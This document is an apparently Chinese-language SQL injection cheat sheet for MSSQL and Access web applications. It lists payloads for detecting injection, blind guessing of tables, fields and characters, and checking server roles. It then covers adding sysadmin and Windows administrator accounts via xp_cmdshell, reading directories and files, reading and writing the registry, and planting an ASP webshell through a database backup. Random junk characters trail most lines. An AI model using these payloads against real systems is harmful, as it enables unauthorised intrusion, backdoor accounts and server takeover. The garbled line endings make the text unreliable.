1.判断是否有注入;and 1=1 ;and 1=2 G| ^tqI
2.初步判断是否是mssql ;and user>0 n0nkv[
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3.注入参数是字符'and [查询条件] and ''=' HH8a"Hq)
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' bMf+/n
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5.判断数据库系统 lYU_uFOs\
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;and (select count(*) from sysobjects)>0 mssql dc"Vc 3)
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;and (select count(*) from msysobjects)>0 access DH@*Oz-
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 BB=%tz`B
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Ci=c"JdB
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 si0jXue~j\
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9.(1)猜字段的ascii值(access) X=_N7!
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \Ui8Sgeei
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(2)猜字段的ascii值(mssql) fytgS(?I'
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 D6c4tA^EO
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10.测试权限结构(mssql) dAohj
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- )=ZWn,ZB
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^BSMlKyB
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .,UpI|b
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- B4_0+K H
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- &PgbFy
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;and 1=(select IS_MEMBER('db_owner'));-- |_
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11.添加mssql和系统的帐户 Q_qc_IcM y
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;exec master.dbo.sp_addlogin username;-- OV Iu&6#
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- lRX*\M\`
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;exec master.dbo.xp_cmdshell 'net user username password f
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ?UQE;0 B
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }vPDCUZ
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12.(1)遍历目录 \<]nv}1O
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 0ppZ~}&
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;and (select top 1 paths from dirs)>0 1j9 .Q;9
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Oy&Myjny<
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(2)遍历目录 9#@dQ/*
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4JT9EKo
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 khyn4
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 -{-w5_B$
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 / F5g@ X&
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 S6`4&0'
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13.mssql中的存储过程 :W? 7J"
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xp_regenumvalues 注册表根键, 子键 K#}DXq
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0Zs}y\J`
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xp_regread 根键,子键,键值名 uF+if`?
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 |l
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xp_regwrite 根键,子键, 值名, 值类型, 值 mh2t ' O
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 w<|^i*
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 eZ(<hE>
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xp_regdeletevalue 根键,子键,值名 ZYos.ay
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 YrS%Yvhj0
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 AL>*Vj2h/n
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14.mssql的backup创建webshell Rq%g5lK
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use model +FP*RNM
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create table cmd(str image); XnHcU=~q
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insert into cmd(str) values (''); loZJV M
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backup database model to disk='c:\l.asp'; 4/e-E^
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15.mssql内置函数
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;and (select @@version)>0 获得Windows的版本号 uHkL$}C
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa G9TK)Nz
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;and (select user_name())>0 爆当前系统的连接用户 hu%UEB
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;and (select db_name())>0 得到当前连接的数据库 }xJ9EE*G/
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16.简洁的webshell yQ?N*'}$
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create table cmd(str image); a;|C51GH
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insert into cmd(str) values (''); [ Lt1OdGl
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backup database model to disk='g:\wwwtest\l.asp';